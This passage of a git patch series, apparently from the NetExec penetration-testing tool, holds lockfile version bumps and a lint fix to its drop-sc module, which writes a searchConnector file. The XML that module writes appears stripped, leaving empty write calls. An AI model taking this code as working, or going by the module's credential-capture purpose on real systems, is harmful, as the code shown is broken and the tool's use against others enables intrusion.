"sha256:0378d055e9e8cd6ce4d8dff683bdd3d7d413533c4ee51d67a2b1e0f9eacc0f23", size = 3475355, upload-time = "2026-06-15T15:58:36.592Z" }, - { url = "https://files.pythonhosted.org/packages/05/db/6061db32316446135a3abae5f308d144ab988a34234726042da3e58b1c63/sqlalchemy-2.0.51-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6e46fc36029eff666391e0531e5387b62ce6c4f1d8e50b3fb3099eaca1b42522", size = 3486591, upload-time = "2026-06-15T16:02:45.346Z" }, - { url = "https://files.pythonhosted.org/packages/0d/c9/f14fdf71bb8957e0c7e39db69bbdf12b5c80f4ef775fdfa127bf4e0d6760/sqlalchemy-2.0.51-cp314-cp314t-win32.whl", hash = "sha256:9161cfc9efce70d1715f47d6ff40f79c6778c00d53be4fbc09d70301e4b83ba7", size = 2151313, upload-time = "2026-06-15T16:03:39.127Z" }, - { url = "https://files.pythonhosted.org/packages/6a/c6/673e618e6f4f297e126d9b56ea2f6478708f6c1af4e3223835c22e2c3697/sqlalchemy-2.0.51-cp314-cp314t-win_amd64.whl", hash = "sha256:159bb6ba32059f57ad7375a8f50d844dd2f19d14954ecf820cd33e20debd46b2", size = 2186280, upload-time = "2026-06-15T16:03:40.569Z" }, - { url = "https://files.pythonhosted.org/packages/e2/22/dbf013a12ec759e54a34a119e9e217435b3f71b2dd5c61a7ade0a25dae87/sqlalchemy-2.0.51-py3-none-any.whl", hash = "sha256:bb024d8b621d0be75f4f44ecc7c950450026e76d66dc8f791bb5331d7fed59d5", size = 1944334, upload-time = "2026-06-15T16:09:22.418Z" }, +sdist = { url = "https://files.pythonhosted.org/packages/3b/21/77b4c147963073040dc3c3a5cb7a8c3001a1893c0209432cb77f9df836aa/sqlalchemy-2.0.52.tar.gz", hash = "sha256:5e2d46356ac2ccb7d268ab6c2319ac6a2b42f1b8d5fd8bd3d46855cd82abee97", size = 9945637, upload-time = "2026-08-11T19:07:09.829Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a6/d7/e0354e7334d33ea2795db3ecbe2977026c05a1ecf8ba4b5953c329872453/sqlalchemy-2.0.52-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a7438774e1091192fc50a2bd8ceff5c596912d00ecd46587e88effdea7826101", size = 2172616, upload-time = "2026-08-11T20:58:21.078Z" }, + { url = "https://files.pythonhosted.org/packages/5b/64/98eef682e6946eb1b4195a9a2393db4662ebfcc89f823ae78b938765c3c0/sqlalchemy-2.0.52-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6c1b7ed45bf87b214e0a9def9c2313949067efe6269db5ef18d542ee13250af7", size = 3279798, upload-time = "2026-08-11T21:00:03.535Z" }, + { url = "https://files.pythonhosted.org/packages/20/05/5b96afc1407c314347ad006b72bb251fb68ef84d05505ebf8a39bc47fcde/sqlalchemy-2.0.52-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:309cc8ba50fc5d2174189dfcd49cdf7aa711f8346afcff19f2642ae4fc449c14", size = 3277555, upload-time = "2026-08-11T21:05:47.932Z" }, + { url = "https://files.pythonhosted.org/packages/50/69/ce6776724511d1b5dd40477b08d6a5f0953a45375e092dfa852b1857732c/sqlalchemy-2.0.52-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:2f9eccf8793c8c3f8dd2dfd11b9e400cb27d1d19370ef732b66017e212107822", size = 3231246, upload-time = "2026-08-11T21:00:05.184Z" }, + { url = "https://files.pythonhosted.org/packages/72/19/ab0cb9ccdafa2419c796ae62f8740aedb903f1e93bb326064b1a0147e458/sqlalchemy-2.0.52-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9255ceb65a80c1b001129060b63ee776a2e9c288be3b662be36dfbb888fffdcd", size = 3250763, upload-time = "2026-08-11T21:05:49.664Z" }, + { url = "https://files.pythonhosted.org/packages/41/f2/3c9b54b61bec4f493c0007dc9e2700c963c5b32667e21a506f1aca7a8115/sqlalchemy-2.0.52-cp310-cp310-win32.whl", hash = "sha256:2e15b1d1116a64fc399b8c2694a83f3e792fdc58df28514a81e1dc4f8cf22729", size = 2132169, upload-time = "2026-08-11T21:09:48.108Z" }, + { url = "https://files.pythonhosted.org/packages/b3/a1/934bb6cf543a398c72784d1fc777eb530559c16ebe1549fa7611e5989ce9/sqlalchemy-2.0.52-cp310-cp310-win_amd64.whl", hash = "sha256:11560064cc4696e772298b6221ede59e646386d9f2a85d549365473b972f7850", size = 2156289, upload-time = "2026-08-11T21:09:49.429Z" }, + { url = "https://files.pythonhosted.org/packages/6b/08/cc5f7627b92f1456bc0b5fb7e98af4600248abe422a44da0d17a3fe6a448/sqlalchemy-2.0.52-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0c3ce43907374889f3352bdcc6195c970148a2cb71574cd0237a5071a37fb6c", size = 2172460, upload-time = "2026-08-11T20:58:22.429Z" }, + { url = "https://files.pythonhosted.org/packages/ed/dc/9a2abad8bfc8fdcd38c64adc056aeefab7aaa96ecd32f5e8c140e6375f17/sqlalchemy-2.0.52-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a0d48c4b80717c61385b4e966e087c839a66cfd7b780641dcb428f4dba65608", size = 3355720, upload-time = "2026-08-11T21:00:06.746Z" }, + { url = "https://files.pythonhosted.org/packages/a8/73/e75597b5841043e3c74055d00d4feb53d9a49a5c89ba2450d2d9aab53597/sqlalchemy-2.0.52-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:938325a5373267afc53bfbe72983b20fbd64ca47842aac62433c3da1137ecff1", size = 3354394, upload-time = "2026-08-11T21:05:51.454Z" }, + { url = "https://files.pythonhosted.org/packages/12/25/410fbc6c2f1fa8310f4ef1b6847d47d0ac1c042c7b4e81eaaca063d030a9/sqlalchemy-2.0.52-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5f8438a98d49424acf69d0d53c0a522951dfe49a6f2d86417fbb37ad3066ab43", size = 3306991, upload-time = "2026-08-11T21:00:08.603Z" }, + { url = "https://files.pythonhosted.org/packages/b2/ba/25ffd5c24681ea4b46e62c80ceca8200ce204de1773366321306cf3f608a/sqlalchemy-2.0.52-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4699dbb8d396d199e7e78fd4d525e3ad3d6008a9c8c0160b87e74c606c2c3736", size = 3327454, upload-time = "2026-08-11T21:05:53.368Z" }, + { url = "https://files.pythonhosted.org/packages/c2/f1/0f1b1d4800e51218e736a06ed55a3b2a59c257600bbaca7673bf13d2dbec/sqlalchemy-2.0.52-cp311-cp311-win32.whl", hash = "sha256:cef328349452ae152637df4d11ce5a0919ecdf0a363e16c830c3518ee33bde72", size = 2131248, upload-time = "2026-08-11T21:09:50.765Z" }, + { url = "https://files.pythonhosted.org/packages/7a/f0/04d2ac5ad66f3d31278f37064ed5f5ef3fe653f7bdaa67036663f223d186/sqlalchemy-2.0.52-cp311-cp311-win_amd64.whl", hash = "sha256:f1c850792a3b25a3ad74dade3f05e4f402cdebfea27438bcadafaa1617f77bcc", size = 2156943, upload-time = "2026-08-11T21:09:51.979Z" }, + { url = "https://files.pythonhosted.org/packages/e0/d5/1b77a026d161f98a08f11af1a5f6c47b98ee7c7e2648af525a1004826c78/sqlalchemy-2.0.52-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:be8c49131665dfe2cc74c498aa1240ffb548d0fd901325dd11c2c7a18956f727", size = 2170940, upload-time = "2026-08-11T20:58:11.25Z" }, + { url = "https://files.pythonhosted.org/packages/54/bd/f444444adb37b5d53753fb1730ee7a421628e2e3b756c4da461af7e6394a/sqlalchemy-2.0.52-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b2d9e507a458832adcfbd8af6e2036ddf069b7710b799448542ebccae2dceee", size = 3383415, upload-time = "2026-08-11T21:02:38.534Z" }, + { url = "https://files.pythonhosted.org/packages/be/57/2eadf93a552568c57e8680b7e58bb5e9770d80942a1bdbaf4f2f63f0d7c8/sqlalchemy-2.0.52-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8738008376d22f30f411ea3efecf39b51110b6996d80bb73786f30bcfdd5fd3b", size = 3398577, upload-time = "2026-08-11T21:16:59.092Z" }, + { url = "https://files.pythonhosted.org/packages/15/c3/2887cf9dd111d1fbf05d22165b404c221ef43e029f7a2695e7302f27a7cc/sqlalchemy-2.0.52-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:37a4d548327b6cab9c7d8cdb4e0e82feabee0110c4d150059068e2d1cfbd99ee", size = 3328225, upload-time = "2026-08-11T21:02:40.183Z" }, + { url = "https://files.pythonhosted.org/packages/02/0f/466bdf9e1feeeef5587f868c187d8687e21ff8c85b1775e9041130181132/sqlalchemy-2.0.52-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e49f51a5d59857a7a0dcaf9469febf7197d9394bd88f00d69c2c4e848112cdbf", size = 3357374, upload-time = "2026-08-11T21:17:01.076Z" }, + { url = "https://files.pythonhosted.org/packages/22/20/5c2b4583904af4173076dda1c9e53c9e2ffc7a702d2efde0216bbacbf7cb/sqlalchemy-2.0.52-cp312-cp312-win32.whl", hash = "sha256:afda3ec521d0517d0de783fc70030775841900896d832de5bbd066549290470e", size = 2129366, upload-time = "2026-08-11T21:14:50.991Z" }, + { url = "https://files.pythonhosted.org/packages/ed/06/543dab8ef62d4e9fb96fb31a30c2b8b14a8763bccf48d428294d6b3041c0/sqlalchemy-2.0.52-cp312-cp312-win_amd64.whl", hash = "sha256:2d5e53e36e37129fe0be8b9d08b6e4052c10a963ee6cda56c8c10dcc194b99ca", size = 2157344, upload-time = "2026-08-11T21:14:52.453Z" }, + { url = "https://files.pythonhosted.org/packages/7f/18/e30c6fe1eca1bf34a39fbdd6066121cc9974c850faf6f349eac563697a26/sqlalchemy-2.0.52-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2eb3c6a64b1bfe6704777cfd504e7b8ad093a5f3e03ce67663a5e6742f294e43", size = 2167724, upload-time = "2026-08-11T20:58:12.679Z" }, + { url = "https://files.pythonhosted.org/packages/d0/56/2e17d161a4f7ecc1c2ffb93e607b4e1898bb551b451b283235acb8f6ce47/sqlalchemy-2.0.52-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:923bb183c1dc64fdf7b717965e3d59938ec4f8b8710b419a21ce403e5da9a9e1", size = 3321189, upload-time = "2026-08-11T21:02:41.932Z" }, + { url = "https://files.pythonhosted.org/packages/cf/b8/8490916e893f3f8d74dc9cc54c078619364999dee37047a188e73abbc852/sqlalchemy-2.0.52-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:651d6d8782e80679e6151707c7b490834d46ada526328895abf567f25e63d29c", size = 3338185, upload-time = "2026-08-11T21:17:02.597Z" }, + { url = "https://files.pythonhosted.org/packages/8b/f7/752cc8ee453da222829b3f5c4613614bf750d97429363b70414fa10478e4/sqlalchemy-2.0.52-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:b08cddb8989775e3c88799d86704bdfc3ee6e9846118201aa5997f16f27e3a15", size = 3271698, upload-time = "2026-08-11T21:02:43.963Z" }, + { url = "https://files.pythonhosted.org/packages/51/e6/074ade0c07b9e4c8e8bca46820320ed94df9702afdb6f2af06623068d2e6/sqlalchemy-2.0.52-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ab66fa9618269390d4dfa222f2f2f88f7bc4bf5da13905131b818217db7e8057", size = 3308936, upload-time = "2026-08-11T21:17:04.172Z" }, + { url = "https://files.pythonhosted.org/packages/66/07/557c0d04716705599227945ac14e0a17ad0338e899f37d8c2ddff4dcc663/sqlalchemy-2.0.52-cp313-cp313-win32.whl", hash = "sha256:c63bda077685c85ca513286547a531ba57e7a68cf0a7ed3bafcc2bbd18896f4d", size = 2127308, upload-time = "2026-08-11T21:14:53.879Z" }, + { url = "https://files.pythonhosted.org/packages/96/4e/226eda27654318ce525d043025221f689abef883da2c7126f9065121618c/sqlalchemy-2.0.52-cp313-cp313-win_amd64.whl", hash = "sha256:9876b09b9f1ce7398b0ffece585c0a911244c53191187341f6bcae640e133751", size = 2153876, upload-time = "2026-08-11T21:14:55.527Z" }, + { url = "https://files.pythonhosted.org/packages/d5/f5/71cb30af58c9b80a4e1fac0b73bb48f86d497a774a6a2eb6d2f1e657bb73/sqlalchemy-2.0.52-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:410d52be41d17f1a236d19520fbe776257dc16516ed06bd16d433311842aefd9", size = 2169537, upload-time = "2026-08-11T20:58:13.855Z" }, + { url = "https://files.pythonhosted.org/packages/4c/93/d07ebd645d1b07b6b5ed63450a70f063a346a7e0f2c8810daf2e532400cb/sqlalchemy-2.0.52-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:dfe9ce533dbe4d0a2ae1486546619bd30b76bcd670539a44d910361376175f5e", size = 3319606, upload-time = "2026-08-11T21:02:45.829Z" }, + { url = "https://files.pythonhosted.org/packages/ae/5c/290c84c7c2566ecd3b65baaae0fddec9bc33b033b398a06123bb86fbfc6e/sqlalchemy-2.0.52-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:812bae5138bfc0aa46fb0686da0fc7f581f68e2bbb05bc24c3713bebaedd1437", size = 3323642, upload-time = "2026-08-11T21:17:05.675Z" }, + { url = "https://files.pythonhosted.org/packages/13/f5/2cc160590ca49173359557880b92a0572293ccb899e8f6cedf150c5a3ddf/sqlalchemy-2.0.52-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:50bff43b632a56fbf5ed9afdd76307e1512b62051bcd5afb341ae67205bbb6c8", size = 3268125, upload-time = "2026-08-11T21:02:47.649Z" }, + { url = "https://files.pythonhosted.org/packages/35/f3/ea8933fc9f7d1353e9c2ff9965eae687c4cef181120574591ed2fa0633e1/sqlalchemy-2.0.52-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:49565daf5af554f538e23aef1fc81a95a4e49658f152285e45c02f5fc44f04cd", size = 3289516, upload-time = "2026-08-11T21:17:07.267Z" }, + { url = "https://files.pythonhosted.org/packages/45/67/05cf86541c1e1716fca1e4a996954a439cd74501707cda607fb7cb02ef50/sqlalchemy-2.0.52-cp314-cp314-win32.whl", hash = "sha256:ab9da41e61b9979b910499d633b241df20c51ee5037e5405b11c2faac3cbe1a2", size = 2130249, upload-time = "2026-08-11T21:14:57.273Z" }, + { url = "https://files.pythonhosted.org/packages/96/d7/8ac6ffa1e36169e762ef65bd835046abb2251b1bc17f8f6708e14ed8d31f/sqlalchemy-2.0.52-cp314-cp314-win_amd64.whl", hash = "sha256:a593db51b3bae75db17a5738ad5f992244b3a03863f83c28117ee482c6a3f76d", size = 2156718, upload-time = "2026-08-11T21:14:58.667Z" }, + { url = "https://files.pythonhosted.org/packages/dc/4b/e01a737eef378e734cc6394a82248a6ce13b167dfa36c731075ce9fc9c64/sqlalchemy-2.0.52-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1e61d08bdf4ee2f41024569e3400de7d6734ba498144766b11260936ccfa582", size = 2190344, upload-time = "2026-08-11T19:53:21.393Z" }, + { url = "https://files.pythonhosted.org/packages/b3/3f/3582293d1e185e71d19d7c731c3e2ee20ba21981c4a1115c0806c1f62120/sqlalchemy-2.0.52-py3-none-any.whl", hash = "sha256:3b81b8363a919ce53453591cdb93702e6bd54ade6c4fa2f468fc053baee5ed89", size = 1950700, upload-time = "2026-08-11T20:47:21.603Z" }, ] [[package]] @@ -2232,14 +2301,14 @@ wheels = [ [[package]] name = "typing-inspection" -version = "0.4.3" +version = "0.4.4" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "typing-extensions" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/6d/bc/4eae18cd40c65798a16267572ba346c11f599d44b01603dbd843342042bc/typing_inspection-0.4.3.tar.gz", hash = "sha256:c5f9ec1530b5c1e2c9bc34a84d9a3466ed1b2f3f2fa9f901368d9c5596210e4d", size = 76711, upload-time = "2026-08-10T09:39:18.063Z" } +sdist = { url = "https://files.pythonhosted.org/packages/a3/26/b09b8010994eccc3c09092e6b34058f36a460eea2d4c3e8b910c695975a0/typing_inspection-0.4.4.tar.gz", hash = "sha256:547274fa6b0a561ccf549cc9524b999a578e737d015d8709d021f9d0d13bea47", size = 76928, upload-time = "2026-08-12T12:37:25.997Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/42/f7/7a3935abdebd5cf18705a5f0335dd6a3a18bef3baa7cb9edc3b6b9922cc8/typing_inspection-0.4.3-py3-none-any.whl", hash = "sha256:5f42b23858a91e0b4ef521f5418f03a0da3c9216fd2995ef5e73463100e676cd", size = 14693, upload-time = "2026-08-10T09:39:16.693Z" }, + { url = "https://files.pythonhosted.org/packages/67/81/4add07e5172b7ac40d8ed5ff580409a7801a4fe26d529bdd915401dabfbe/typing_inspection-0.4.4-py3-none-any.whl", hash = "sha256:65b8397ba37ccbce054456aaccddfc91e6e3083c92824df348d96ca832f3f147", size = 14750, upload-time = "2026-08-12T12:37:24.648Z" }, ] [[package]] From a60a86ced5f0837898fbbbbd89e005a80a59c580 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 09:25:09 -0400 Subject: [PATCH 195/397] Fix linting --- nxc/modules/drop-sc.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/drop-sc.py b/nxc/modules/drop-sc.py index be9df316fb..9a2385271c 100644 --- a/nxc/modules/drop-sc.py +++ b/nxc/modules/drop-sc.py @@ -47,7 +47,7 @@ def options(self, context, module_options): with open(self.scfile_path, "w") as scfile: scfile.truncate(0) scfile.write('') - scfile.write("') + scfile.write('') scfile.write("Microsoft Outlook") scfile.write("false") scfile.write("true") From 2460151e66eff8ee7df0303f79cd87e250d08504 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 09:25:18 -0400 Subject: [PATCH 196/397] Update ruff --- poetry.lock | 86 +++++++++++++++++++++++++++++++++++++++++------------ 1 file changed, 67 insertions(+), 19 deletions(-) diff --git a/poetry.lock b/poetry.lock index 5dc90fec99..e6c3c407cc 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2486,30 +2486,30 @@ jupyter = ["ipywidgets (>=7.5.1,<9)"] [[package]] name = "ruff" -version = "0.16.2" +version = "0.16.3" description = "An extremely fast Python linter and code formatter, written in Rust." optional = false python-versions = ">=3.7" groups = ["dev"] files = [ - {file = "ruff-0.16.2-py3-none-linux_armv6l.whl", hash = "sha256:3c8de4cf2181f01d57946d87d777aa52916976fc09942aed89938fab5e013318"}, - {file = "ruff-0.16.2-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:9a48cc05c6fbc811ca81b5d7ba95375affea6582d1b8024e455e41afbbf55344"}, - {file = "ruff-0.16.2-py3-none-macosx_11_0_arm64.whl", hash = "sha256:a2c0d14fcbb26c91f0f867a6dc9bd71bbc30b1b6151829c884f23faeab2e5700"}, - {file = "ruff-0.16.2-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:335c621622c4650330be50842561c6586ac6971bb8ab5407fe34dcc9efb16bbe"}, - {file = "ruff-0.16.2-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:20e66910f2c37cc753f9ef6580c914a621b80c4fa3549d3e3521e29d0f5bfc3f"}, - {file = "ruff-0.16.2-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7e36fbfba65510548156902bcf1350a979a958ce0347ce0f90d73894036b39f"}, - {file = "ruff-0.16.2-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f0eab35f80df8f134aae5d1630e751901321d317cc8e50dc39e36fa3ed34cd12"}, - {file = "ruff-0.16.2-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:40ea8c0594feb894e89c8c61ab9c103d38b0ea72dfde6c594107147ca31b1140"}, - {file = "ruff-0.16.2-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ab3d62dde0b19facdd632008cc4827fc28ada7736c6bd35ab6f1050f0bfed53f"}, - {file = "ruff-0.16.2-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:e43e1f5b8388da9eca1b9e88328d47a5cec794633ccf6f7484ac2dd15eee92c0"}, - {file = "ruff-0.16.2-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:c24788a980581e1d7ea3a0cbe4344c4fbeb0a6a9b1f4713aa46bb104f8294690"}, - {file = "ruff-0.16.2-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:81806b08329130005dd4a8a8394a0c9da8c6f4cafb16ba438d2a2ee6a18bedf1"}, - {file = "ruff-0.16.2-py3-none-musllinux_1_2_i686.whl", hash = "sha256:4ce4e02bad779bef557f541a1b31f20d6abeae1cc05ed1b1ac019d4ffd1044c8"}, - {file = "ruff-0.16.2-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:e0422abdf70070255fc4073ce9dfc814cc03db577013761ddd09bc1e4a9a4fbd"}, - {file = "ruff-0.16.2-py3-none-win32.whl", hash = "sha256:bf3a63d78fb39f4bf5ac8ae52051c5520505301abe19ba4e204c453b3f09bb0b"}, - {file = "ruff-0.16.2-py3-none-win_amd64.whl", hash = "sha256:bcabe2f6d0fc7819f1431793005af4e4de7371927d037345bf941252b195b9fa"}, - {file = "ruff-0.16.2-py3-none-win_arm64.whl", hash = "sha256:d614e95cedf38a2053fd351c55b103ba30d017d61688fdbfd40ee0412852a99f"}, - {file = "ruff-0.16.2.tar.gz", hash = "sha256:c3d7828d12e8927a6fc65fe38e2c2541b9e762d360a1786d752cb1b8883b3c9c"}, + {file = "ruff-0.16.3-py3-none-linux_armv6l.whl", hash = "sha256:0c5710e247a58a4521e66e124ba9a74655b414f61ba3a2e9e3811e11098f48f7"}, + {file = "ruff-0.16.3-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:fe155130631a2471fd2e14a7a664a4dfbd7194b8229c3d7b2a40b21178639081"}, + {file = "ruff-0.16.3-py3-none-macosx_11_0_arm64.whl", hash = "sha256:e2ed719e14aa64d895c2ee922594a90a43c861a93f0575a95ff8c47cdbd13eb9"}, + {file = "ruff-0.16.3-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9e0b1da805eb043654645d74d5de1e5ce2edc686e40790d2b86f56d71cc06a84"}, + {file = "ruff-0.16.3-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a37bdea0bbe21780f590bf437d6412c8c4e1b6cd010f91a65c2c40c5e5f5f870"}, + {file = "ruff-0.16.3-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:09571e6d1288ed9be475207a3ac04ada404f1cd898104be0f6ab8d7df438575b"}, + {file = "ruff-0.16.3-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2c18c5a101eb540010638cc1ff3c84944d3adb3df62b8d98ca8f22ba484d3413"}, + {file = "ruff-0.16.3-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8457c44f15033c85ddbb77b15d451df9e24e4bd03b628396dd3610cedc3b8f82"}, + {file = "ruff-0.16.3-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:294b95c4ae0cda9388525c2047778aa758d6b8d4bb876fd4e9eaa3ebc92343eb"}, + {file = "ruff-0.16.3-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:3d0c7c40c87c2a820509c31ba007968da6e1306468c067b2d82fbfdbcd0e8474"}, + {file = "ruff-0.16.3-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:9f738c0fdfa8eed0b2ce7fb27ee7258208a92a68d7949e62aa15164bc7b389da"}, + {file = "ruff-0.16.3-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:fb785f0be25abe69d320415cd4f833b59e17ba7613d9ba6a958023b6bceb0a50"}, + {file = "ruff-0.16.3-py3-none-musllinux_1_2_i686.whl", hash = "sha256:c5536e3acfbf9563085aa2be7b13c629c3077e902afc5b941ac44024dbb9f506"}, + {file = "ruff-0.16.3-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:a2d85c02f9b8e165d85e6779184d38c4132de12603dab59c51c28e22584f9e4d"}, + {file = "ruff-0.16.3-py3-none-win32.whl", hash = "sha256:388cdf2166642bd9b13d52b5932d3170f34f8abed7e8d9a855f1d84b83645a0a"}, + {file = "ruff-0.16.3-py3-none-win_amd64.whl", hash = "sha256:e80a7d69ca2a6d1c4d352ec91458cdca6e56c83cdbcabd93e4abe1e53591d948"}, + {file = "ruff-0.16.3-py3-none-win_arm64.whl", hash = "sha256:b8ca152da82c1acc1fa8d5874b15951935f0eef46f10e6954c83859011b6178a"}, + {file = "ruff-0.16.3.tar.gz", hash = "sha256:e76d33a347661a84b5be6d043d0347fdc745dfdcf825a8f4fed64b5e26eebdf2"}, ] [[package]] @@ -2585,9 +2585,57 @@ optional = false python-versions = ">=3.7" groups = ["main"] files = [ + {file = "sqlalchemy-2.0.52-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a7438774e1091192fc50a2bd8ceff5c596912d00ecd46587e88effdea7826101"}, + {file = "sqlalchemy-2.0.52-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6c1b7ed45bf87b214e0a9def9c2313949067efe6269db5ef18d542ee13250af7"}, + {file = "sqlalchemy-2.0.52-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:309cc8ba50fc5d2174189dfcd49cdf7aa711f8346afcff19f2642ae4fc449c14"}, + {file = "sqlalchemy-2.0.52-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:2f9eccf8793c8c3f8dd2dfd11b9e400cb27d1d19370ef732b66017e212107822"}, + {file = "sqlalchemy-2.0.52-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9255ceb65a80c1b001129060b63ee776a2e9c288be3b662be36dfbb888fffdcd"}, + {file = "sqlalchemy-2.0.52-cp310-cp310-win32.whl", hash = "sha256:2e15b1d1116a64fc399b8c2694a83f3e792fdc58df28514a81e1dc4f8cf22729"}, + {file = "sqlalchemy-2.0.52-cp310-cp310-win_amd64.whl", hash = "sha256:11560064cc4696e772298b6221ede59e646386d9f2a85d549365473b972f7850"}, + {file = "sqlalchemy-2.0.52-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e0c3ce43907374889f3352bdcc6195c970148a2cb71574cd0237a5071a37fb6c"}, + {file = "sqlalchemy-2.0.52-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a0d48c4b80717c61385b4e966e087c839a66cfd7b780641dcb428f4dba65608"}, + {file = "sqlalchemy-2.0.52-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:938325a5373267afc53bfbe72983b20fbd64ca47842aac62433c3da1137ecff1"}, + {file = "sqlalchemy-2.0.52-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5f8438a98d49424acf69d0d53c0a522951dfe49a6f2d86417fbb37ad3066ab43"}, + {file = "sqlalchemy-2.0.52-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4699dbb8d396d199e7e78fd4d525e3ad3d6008a9c8c0160b87e74c606c2c3736"}, + {file = "sqlalchemy-2.0.52-cp311-cp311-win32.whl", hash = "sha256:cef328349452ae152637df4d11ce5a0919ecdf0a363e16c830c3518ee33bde72"}, + {file = "sqlalchemy-2.0.52-cp311-cp311-win_amd64.whl", hash = "sha256:f1c850792a3b25a3ad74dade3f05e4f402cdebfea27438bcadafaa1617f77bcc"}, + {file = "sqlalchemy-2.0.52-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:be8c49131665dfe2cc74c498aa1240ffb548d0fd901325dd11c2c7a18956f727"}, + {file = "sqlalchemy-2.0.52-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b2d9e507a458832adcfbd8af6e2036ddf069b7710b799448542ebccae2dceee"}, + {file = "sqlalchemy-2.0.52-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8738008376d22f30f411ea3efecf39b51110b6996d80bb73786f30bcfdd5fd3b"}, + {file = "sqlalchemy-2.0.52-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:37a4d548327b6cab9c7d8cdb4e0e82feabee0110c4d150059068e2d1cfbd99ee"}, + {file = "sqlalchemy-2.0.52-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e49f51a5d59857a7a0dcaf9469febf7197d9394bd88f00d69c2c4e848112cdbf"}, + {file = "sqlalchemy-2.0.52-cp312-cp312-win32.whl", hash = "sha256:afda3ec521d0517d0de783fc70030775841900896d832de5bbd066549290470e"}, + {file = "sqlalchemy-2.0.52-cp312-cp312-win_amd64.whl", hash = 